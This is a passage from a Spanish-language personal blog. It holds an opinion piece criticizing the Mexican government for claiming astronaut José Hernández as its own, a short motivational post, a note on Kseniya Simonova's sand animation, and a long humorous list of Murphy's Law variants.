nacionalidad mexicana, por derecho de sangre, y él mismo se identifica mucho con nuestra cultura. Pero ese no es el debate, pues la historia del astronauta José Hernández es totalmente estadounidense. El mérito es de otro sistema. José Hernández se hizo en otro país, con otras políticas públicas, con otro gobierno y con otras leyes. En todas las imágenes vimos a un miembro de la fuerza aérea estadounidense, enfundado en su uniforme azul, portando con orgullo la bandera del país que le dio la oportunidad de tener la educación de calidad, la salud, las condiciones y el ambiente de libertad necesarios, para alcanzar sus metas.

Inventar el cuento del astronauta mexicano por parte del gobierno, es como robar un pedacito de gloria.

Mendigar triunfos ajenos. Usurpar éxitos imposibles, en un país que no atina el rumbo para convertirse en serio en un México ganador.

El Presidente de México Felipe Calderón dijo en uno de los homenajes: «la brillante historia de vida de José Hernández es y debe ser un ejemplo para los mexicanos.» ¿Lo dice en serio? ¿Cuál es el ejemplo Señor Presidente? ¿Irse? ¿Nacer en Estados Unidos? ¿Migrar? ¿Qué las familias mexicanas migren a tiempo? ¿Hacerse norteamericano? ¿Buscar allá las oportunidades que no se tienen aquí?

La historia de éxito de personal de José Hernández, es al mismo tiempo la historia del fracaso de la política económica, de la política social y de la política exterior del gobierno mexicano. Es la historia del fracaso de éste y de varios gobiernos mexicanos.

Su historia debería darle vergüenza a una clase política incapaz de ponerse de acuerdo y de generar un proyecto de nación para los millones de José Hernández que están repartidos por todo el país, y que no quieren ser astronautas, millones de mexicanos a quienes sólo les bastaría con poder
comer, con tener un mínimo de salud, un piso que no sea de tierra o saber leer y escribir.

José Hernández dijo en una entrevista: «Lo que me sorprendió mucho es cuando vi al mundo como uno: no había fronteras, no se podía distinguir entre Estados Unidos y México», pero lo cierto es que sí existen las fronteras. Su familia cruzó una de ellas de manera ilegal. Lo cierto es que sí existen las
banderas y las diferencias. Sí existe una frontera que hace a dos países muy distintos.

*La lección es muy clara: si José Hernández se hubiera quedado en México, quizá hoy estaría sirviendo la cena…

Lucha por ti

marzo 3

Hay veces que nosotros, luchamos por algo y no logramos alcanzarlo, con el tiempo las cosas mejoran, pero si nosotros nos rendimos, en vano sería esa mejora de nuestra vida, si en tiempo pasado por un anhelo nuestro, nos detengamos y crucemos las manos, en vano sería esa mejora de  nuestra vida. Hay cosas que en realidad son muy dificiles, pero no hay ningun imposible, hay veces que por ciertas razones, por comentarios, por temor, por simple falta de valor, dejamos algo que quisiéramos mucho o que nos haría felices, yo digo que si tu sabes que es lo que te puede hacer feliz,¿Por qué te das por vencido?. Deja a un lado lo que te impida lograr lo que quieras, lograr tu felicidad, lograr lo que siempre haz anhelado con esa pasión inalcazable que llena tu espíritu de lucha por tu felicidad, «es preferible haber fracazado en miles de intentos en tu vida a jamás haber intentado uno y arrepentirte mil veces en ella»

Kseniya Simonova

febrero 26

Kseniya Simonova resulta ser la ganadora del concurso «tienes talento» en el que le pidieron que dibujara la invasion alemana a Ucrania, el trabajo que hace es realmente formidable, a alguno de los jueces logro hacer llorar. ¿Que técnica utilizó? animación en arena, «arena?» si, arena

Leyes de Murphy

febrero 21

Como si no bastase las aportaciones de Murphy, hemos recopilado algunos corolarios, axiomas y teoremas de algunos de sus simpatizantes

1. Si algo puede fallar, fallara.
2. Si hay la posibilidad de que algunas cosas fallen, la que causara mas daño sera la primera.
3. Si algo no puede fallar, lo hara a pesar de todo.
4. Si se aprecia que existen cuatro posibles maneras de que algo pueda fallar, y se soslayan, en seguida se desarrollara una quinta para la que no se esta preparado.
5. Por si mismas, las cosas tienden a ir de mal en peor.
6. Si algo parece que va bien, es obvio que se ha pasado algo por alto.
7. La Naturaleza siempre esta del lado del fallo oculto.
8. En la naturaleza nada es siempre correcto. En consecuencia, si todo fuera bien … algo estaria equivocado.
9. La Naturaleza es perra.
10. Cuando un trabajo está terminado, es cuando se descubre la manera más sencilla de hacerlo

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COMENTARIO DE O’TOOLE A LAS LEYES DE MURPHY: «Murphy era un optimista.»

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TEOREMAS DE GINSGBERG:

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1. No puedes ganar.
2. No puedes desemempatar.
3. Y tampoco puedes abandonar el juego.

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LEY DE WEILER
Nada es imposible para el hombre que no tiene que hacerlo por si mismo.

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LEYES DE LA PROGRAMACION DE ORDENADORES

1. Cualquier programa, cuando funciona, ya es obsoleto.
2. Cualquier programa cuesta mas y dura mas cada vez que se ejecuta.
3. Si un programa es util, debera ser modificado.
4. Si un programa no es util, debera ser documentado.
5. Cualquier programa tiende a expandirse hasta llenar toda la memoria disponible.
6. El valor de un programa es inversamente proporcional al peso de sus «outputs»
7. La complejidad de un programa crece hasta que excede la capacidad del programador que debe mantenerlo.

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SEGUNDO COROLARIO DE FORSYTH’S A LAS LEYES DE MURPHY

En el momento en que ves la luz al final del tunel, se te cae el techo encima.

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LEY DE PIERCE

IN ANY COMPUTER SYSTEM, THE MACHINE WILL ALWAYS MISINTERPRET, MISCONSTRUE, MISPRINT, OR NOT EVALUATE ANY MATH OR SUBROUTINES OR FAIL TO PRINT ANY OUTPUT ON AT LEAST THE FIRST RUN THROUGH.

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COROLARIO A LA LEY DE PIERCE

Cuando un compilador acepta un programa sin error, en su primera pasada, seguro que el programa no hace lo que se desea.

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LEY DE BROOK

Si a la primera no funciona, transforma tu juego de datos.

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LEY DE GROSCH

COMPUTING POWER INCREASES AS THE SQUARE OF THE COST.

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LEY DE LA ENTOMOLOGIA INFORMATICA DE LUBARSKY

Siempre hay un error (bug) mas.

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SEGUNDA LEY DE WEINBERG

Si los constructores hubieran construido los edificios del modo en que los programadores escribieron los programas, entonces el primer pajaro carpintero hubiera destruido la civilizacion.

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LEY DE GUMPERSON

La probabilidad de que algo suceda esta en relacion inversa a lo deseado.

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LEY DE GUMMIDGE

La acumulacion de experiencia varia en relacion inversa al numero de declaraciones entendiadas por el publico en general.

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PRIMERA LEY DE ZYMURGY SOBRE LA EVOLUCION DE SISTEMAS DINAMICOS

Una vez abres una lata de gusanos, el unico modo de volverlos a meter es usar una lata mayor (los viejos nunca mueren, solo se desarrollan en latas mayores).

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LEY DE HARVARD, APLICADA A LOS ORDENADORES

Bajo las condiciones mas rigurosamente controladas de presion, temperatura, volumen, humedad y otras variables, el ordenador hara lo que le de la gana.

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LEY DE SATTINGER

Funciona mejor si lo conectas.

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LEY DE JENKINSON

No funcionara.
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APROXIMACION AL POSTULADO DE HORNER

La esperiencia varia en relacion directa con el equipo que se estropea.

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LEY DE KEOPS

Nunca se construye nada sobre planos o con presupuesto

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REGLA DE PRECISION

Cuando te acercas a la solucion de un problema siempre ayuda si sabes la respuesta.

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SEPTIMA EXCEPCION DE ZYMURG A LA LEY DE MURPHY

Cuando llueve, te mojas.

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LEYES DE PUDDER

1. Todo lo que empieza bien acaba mal.
2. Todo lo que empieza mal acaba peor.

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REGLA DE WESTHEIMER

Para estimar el tiempo que toma hacer una tarea: Estima el tiempo que piensas que durara, mutiplicalo por dos y cambia la unidad de medida a la siguiente unidad mas alta. Por tanto pon dos dias para una hora de tarea.

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TEOREMA DE STOCKMAYER

Si parece facil, es duro. Y si parece duro, esta malditamente cerca de lo imposible.

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COROLARIO DE ATWOODS

No se pieden los libros al prestarlos excepto aquellos que querias conservar especialmente.

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TERCERA LEY DE JOHHNSON

Si te falta un numero de cualquier revista, sera el que contiene el articulo, explicacion o instalacion, que estabas mas ansioso por leer.

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COROLARIO A LA TERCERA LEY DE JOHHNSON

Ya sea que te falte, lo hayas perdido o tirado, que sea de tus amigos.

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LEY DEL HARPER’S MAGAZINE

Nunca se encuentra el articulo hasta que se reemplaza.

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LEY DE BROOKE

Incorporar potencia a un software anticuado lo retrasa mas.

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CUARTA LEY DE FINAGLE

Una vez estropeado un trabajo, cualquier cosa hecha para mejorarlo solo lo empeorara.

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REGLA DE FEATHERKILE

Cualquier cosa que hiciste, no es lo que planeaste.

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LEY DE FLAP

De todo objeto inanimado, independientemente de su posicion, configuracion o proposito, se puede esperar actue en cualquier momento de forma totalmente inesperada, ya sea por razones totalmente oscuras o completamente misteriosas.

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LEY DE MIKIE DE LA ULTIMA RECONCILIACION

La vida es dura, pero me gusta.

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SEGUNDO TEOREMA DE PATRICK

Si el experimento funciona, debes estar usando el equipo equivocado.

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LA CONSTANTE VARIABLE DE COOKE

Es aquella que, cuando la multiplicas, divides, sumas o restas al resultado obtenido, te da el resultado que deberias haber obtenido en primer lugar.

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LEY DE PERKIN DE LA PERVERSIDAD DE LOS OBJETOS INANIMADOS

Cualquier objeto inanimado, independientemente de su composicion o configuracion, debe esperarse que se comporte en cualquier momento de momento de una manera completamente inesperada, por razones que son totalmente oscuras o misteriosas.

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AXIOMA DE ALLEN

Cuando todo lo demas falla, lee las instrucciones.

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PRINCIPIO DE LAS PIEZAS DE REPUESTO

La facilidad para encontrar las pequeñas piezas que se caen de la mesa de trabajo, es directamente proporcional al tamaño de la pieza, e inversamente proporcional a su importancia para completar el trabajo.

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EL COROLARIO DE LA COMPENSACION

El experimento debe ser considerado un exito, si no mas del 50% de los resultados obtenidos, deben ser descartados para obtener una correspondencia con la teoria.

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PRINCIPIO DE ORDENACION

Aquellos elementos necesarios para completar el experimeto de ayer, no deben ser ordenados mas tarde de mañana por la tarde.

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PRINCIPIO FUNDAMENTAL

Por definicion, cuando estas explorando lo desconocido, no sabes lo que te puedes encontrar.

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EL FACTOR DE INUTILIDAD

Ningun experimento es un completo fracaso, siempre puede servir como un mal ejemplo.

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LA REGLA DE ORO

Quien tiene el oro hace las reglas.
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AXIOMA DE ARIAS

La probabilidad de que sobrevenga un apagon cuando estas trabajando en el ordenador, es directamente proporcional a la importancia del trabajo.

LAS LEYES DE LA MÁXIMA FATALIDAD CON EL MÍNIMO ESFUERZO

1.- Las fotocopiadoras solo estropean los documentos más importantes.
2.- Corolario: Si una fotocopiadora se desbanda hará 180 copias, y lo hará cuando se trate de un documento personal. (Ley de Murphy sobre la oficina)
3.- Si sabes que una cosa puede ir mal y tomas todas las precauciones irá mal otra cosa.
4.- Nunca seas el primero.
5.- Nunca seas el último.

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Ley de Mitchell sobre las comisiones

Cualquier problema sencillo se convierte en insalvable, si se hacen las suficientes reuniones para discutirlo. 

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Ley de Rap sobre la producción de los objetos inanimados

Si desarmas un objeto y lo vuelves a armar suficientes veces, es probable que termines teniendo dos. ()

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Si sólo tienes un martillo todo te parece un clavo. (Observación de Baruch)

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Ley de Anthony sobre los talleres

Cualquier herramienta que caiga irá a parar al rincón más inaccesible.
Corolario: De camino hacia el rincón. Cualquier objeto que caiga lo hará sobre tu pie.

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Leyes de las reuniones de negocios

1.- Cuando más importantes sean las notas que estás preparando, más probabilidades hay de que se te rompa la punta del lápiz.
2.- Nunca entenderás con claridad, el nombre de la persona más importante.
Corolario: No importa que lo hayas entendido con claridad, seguro que lo pronunciarás mal

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Ley de Olivier

La experiencia es una cosa que no tienes hasta después de haberla necesitado.

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Hipótesis burocrática de Mollison

Si una idea puede superar una revisión burocrática y ser llevada a término, es que no valía la pena.

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Para calcular el tiempo que costará hacer un trabajo, calcula el tiempo que tendría que costar, dóblalo, cámbiate la unidad de medida al nivel superior. Es decir asigna dos días si crees que tendría que durar 1 hora.

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Ley de Carlos

Di no, después negocia.

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Ley de la grandeza

Cuando la gente a quien admiras parece estar pensando profundamente, probablemente están pensando en la comida.

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Ley de Liberman

Todo el mundo miente pero no importa, pues nadie escucha. ()

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Ley de las Vegas

No apuestes nunca por un perdedor, pensando en que su suerte va a cambiar. ()

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Ley de la desviación organizativa

Cada organización incluye un determinado número de puestos a ocupar por incompetentes. ()

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ley de Reynold

La velocidad del viento aumentará directamente según el costo del peinado. ()

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Cualquier cosa que empieza bien, acaba mal. Cualquier cosa que empiece mal, acaba peor.

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Cuando intentes demostrar a alguien que una máquina no funciona, funcionará.

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Comentario de O’Toole sobre las leyes de Murphy
«Murphy era un optimista»

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ley de Stewart sobre la retroacción

Es más fácil que te lo perdonen, no que te lo permitan.

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Ley de Jones

El hombre que ríe mientras las cosas le van mal, es que piensa en alguien en quien descargar la culpa.

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Ley de Truman

Si no los puedes convencer, por lo menos, confúndelos. ()

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Principio organizativo de Till

Si archivas bien una cosa siempre sabrás donde está, pero nunca la necesitarás. Si no la archivas bien, la necesitarás pero no sabrás nunca donde está.

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Precepto de Duchanme

Las oportunidades siempre aparecen en el momento más inoportuno.

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Ley de Perrusell

No hay ningún trabajo tan sencillo que no se pueda hacer mal.

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Ley de Vile sobre la comunicación

Nunca te escucha nadie, hasta que te equivocas.

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ley de Sevaried

La principal causa de los problemas son las soluciones.

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Corolario colateral de John

Para conseguir un préstamo, antes tendrás que demostrar que no lo necesitas.

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Ley de Weiler

No hay nada imposible… para quién no lo tiene que hacer.

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Ley de Malek

Cualquier idea simple puede ser redactada de la manera más complicada.

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Principio de Eng

Cuanto más simple es una cosa, más difícil es cambiarla.

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Primera ley de Murphy de la cocina

Todas las cosas que utilizamos con más frecuencia las encontramos siempre detrás de aquellas que no utilizamos nunca.

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Ley de Schmidt

Si dedicas a una cosa el tiempo suficiente, la estropearás.

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Ley de Flugg

Cuando quieres «tocar madera» descubres de repente que vivimos en un mundo de aluminio y plástico.

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Ley de los buscadores

El primer sitio donde debes buscar una cosa es el último donde tú esperas encontrarla.

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Ley de Murphy sobre los trabajos escolares

El libro más importante para completar tu trabajo habrá desaparecido de la biblioteca. Si por casualidad lo encontrases, seguro que faltaría la página más importante.

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Primera ley de los exámenes

Las pilas de la calculadora, que te han durado todo el curso, se acabarán a la mitad del examen final de matemáticas.

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Ley de la conservación de la suciedad

Para limpiar una cosa es necesario ensuciar otra, pero es posible ensuciarlo todo sin limpiar nada.

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Los problemas complejos tienen soluciones simples, comprensibles y equivocadas.

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No te preocupes por lo que la gente piense de ti, están demasiado preocupados por lo que tú puedas pensar de ellos.

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Ley de los autoservicios

La parte que más te gusta es, siempre, la que escogerá la persona que te precede.

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Principio de los embotellamientos

El otro carril de la autopista siempre va más rápido.
Si cambias de carril, el que has dejado comenzará a ir más rápido que el carril donde ahora tú te encuentras.
Cuanto más tiempo estés parado, más posibilidades hay de que te hayas situado en el carril equivocado.

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Cuando te cortes las uñas, descubrirás, al cabo de una hora, que te hubiesen sido muy útiles.

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Ley de Thiessen de la gastronomía

El grado de dureza de la mantequilla es inversamente proporcional a la del pan.

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Ley de Hutchison

Si un asunto requiere toda tu atención, se producirá cuando estés en la luna.

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Ley de Naeser

Puedes construir algo a prueba de bombas, pero no a prueba de idiotas.

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Regla de los compañeros de cama

El que ronca será siempre el que se dormirá antes.

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Ley de la lotería biológica de la autopista

El primer mosquito que se estrella contra el parabrisas cae justo delante de tus ojos.

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Ley de Fulton de la gravedad

El intento de atrapar un objeto que está cayendo provocará más estropicios que si lo dejaras seguir su curso.

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Máxima de Meadow

Es imposible empujar una cuerda.

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Cuando a alguien se le cae una cosa, todos le dan patadas, pero nadie lo recoge.

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Principio de Pfeiffer

Nunca decidas nada, si puedes conseguir que otro tome la decisión.

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Si sólo has visto un episodio de una serie de televisión, y ves otro, seguro que es idéntico al que ya habías visto.

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Las lavadoras sólo se averían a la mitad del ciclo del lavado.
Corolario: Todas las averías coinciden con el día de vacaciones del servicio técnico.

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Octava ley de Finagle

Trabajar en equipo es fundamental. Permite culpar siempre a otro.

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Guía de Murphy para a la ciencia moderna: Si es verde y se mueve se trata de biología; si huele mal, de química; y si no funciona, de física o informática.

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Principio de Stitzer para a las vacaciones

Cuando prepares el equipaje, toma la mitad de la ropa prevista y el doble de dinero.

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Principios universales de Bess

El teléfono suena cuando estás en el rellano intentando abrir la puerta. Cuando al fin llegas al aparato, deja de sonar.

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Cuando te equivocas de número, siempre te comunica.

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Ley de Shirley

La mayoría de la gente se merece a las personas que le rodean.

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Ley de Bonavista

Cualquier cosa que hay dentro de un paréntesis, se puede ignorar.

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Ley de la relatividad de Balance

La duración de un minuto depende del lado de la puerta del baño en que te encuentres.

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Ley de un tal Felson

Robar ideas de uno es plagio. Robar ideas de muchos es investigación.

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Ley de Jones sobre la programación televisiva

1.- El único programa digno de verse será eliminado
2.- Si sólo hay dos programas dignos de ver, se emitirán a la misma hora.
3.- El programa que has estado esperando durante toda la semana, no se ha podido emitir por «cuestiones técnicas, rogamos disculpen las molestias»

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Ley de Zymurgy sobre el trabajo voluntario

Siempre existe gente dispuesta a trabajar, ayer.

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Ley de Seits sobre la universidad

La última asignatura que te queda para acabar la carrera desaparecerá del plan de estudios y tendrás que empezar de nuevo todos los estudios.

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Ley sobre los horarios de clase

Los horarios de clase están hechos a fin y efecto de que cada estudiante pierda el máximo de tiempo posible entre las diferentes clases.

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Leyes del terror aplicado

1.- Cuando repases tus apuntes antes de un examen descubrirás que los de la lección más importante son ilegibles.
2.- Cuanto más estudies de cara a un examen, menos seguro estarás de cuál es la respuesta.
3.- El 80% del examen final se basará en una publicación libre que tú no has leído.
4.- Todo profesor da por sentado que tú no tienes otra cosa que hacer que estudiar su asignatura.
5.- Si tienes un examen «con libros» te olvidarás los libros. Si tienes que hacer un ejercicio «en casa» te olvidarás de donde vives.

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Segunda ley de Johnson

Si en todo el verano solamente te han invitado a tres fiestas, seguro que las tres eran en el mismo día.

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Máxima de Matz)

Una conclusión es el punto en el que te cansaste de pensar.

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Regla de Ground para los trabajadores de laboratorio

Cuando no sabes lo que estás haciendo, hazlo con mucho cuidado.

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Teoría de la supervisión selectiva El único momento en todo el día en el cual te desparezcas y te relajas coincide con el único momento en el que el jefe circula a tu alrededor

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Principios de los pacientes

1.- Cuando más atrasadas y tontas sean las revistas que hay en la sala de espera, más rato tendrás que estar.
2.- No creas que porque el médico sabe dar un nombre a tu enfermedad, conoce de qué se trata.
3.- Sólo los adultos tienen problemas con las botellas de medicamentos a prueba de niños.

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Principio de los animales domésticos

Esté en el rincón en que esté, el perro (ó el gato) siempre estará en el lugar más inoportuno.

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Ley de Gray sobre el autotransporte

El autobús llega sólo, cuando ya has andado tanto, que no tiene sentido tomarlo.

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Ley de Saltamartí

Cuanto más de prisa caes más tiempo necesitas para levantarte.

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Ley de la Perversidad de los Objetos Inanimados

Todo objeto inanimado, independientemente de su composición o configuración, puede producir en cualquier momento, de modo totalmente inesperado y por razones que permanecerán siempre oscuras y misteriosas, actos perversos en contra de nuestros deseos y proyectos.

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Leyes de Carlos

1.- Si lavas hoy el coche, mañana lloverá.
2.- Y la extensión lógica de dicha ley:» Si no lavas el coche, habrá sequía».

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Ley de Maryann

Siempre puedes hallar lo que no buscas.

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Ley de Draw

El cliente que menos paga es el que más se queja.

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Corolario de Pfeife

Nadie recuerda las malas decisiones que no tomaste, todos recuerdan tus malas decisiones.

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Ley de Finningan

Cuanto más lejano es el futuro, mejor apariencia tiene.

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Ley de Pinto

Hágale un favor a alguien y le tendrá que hacer muchos más.

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Ley de Murray

1.- Nunca le preguntes a un vendedor si el precio es bueno.
2.- Nunca le preguntes a un peluquero si necesitas un corte de pelo.

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Primera regla doméstica de Fausner

Todo cuchillo desafilado, tendrá el filo suficiente para cortarte un dedo.

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Ley de mecánica de Lorenz

Cuando tengas las manos embadurnadas de grasa, te comenzará a picar la nariz.

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Ley de Fant

Cuando necesites abrir una puerta con la única mano libre, la llave estará en el bolsillo opuesto.

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Ley de Van Herpen

La solución de un problema consiste en hallar a quienes lo solucionen.

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Credo de Finagle

La ciencia es verídica. No deje que lo engañen los hechos.

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Acertijo cardinal

Un optimista cree que vivimos en el mejor mundo posible. Un pesimista teme que eso sea verdad.

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Ley de Whithern

La suposición es la madre de todas las cagadas.

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Si has leído todo esto te acabas de dar cuenta que solo te sirvió para reírte de ti mismo al identificarte con más de una situación. Comentario de mgl

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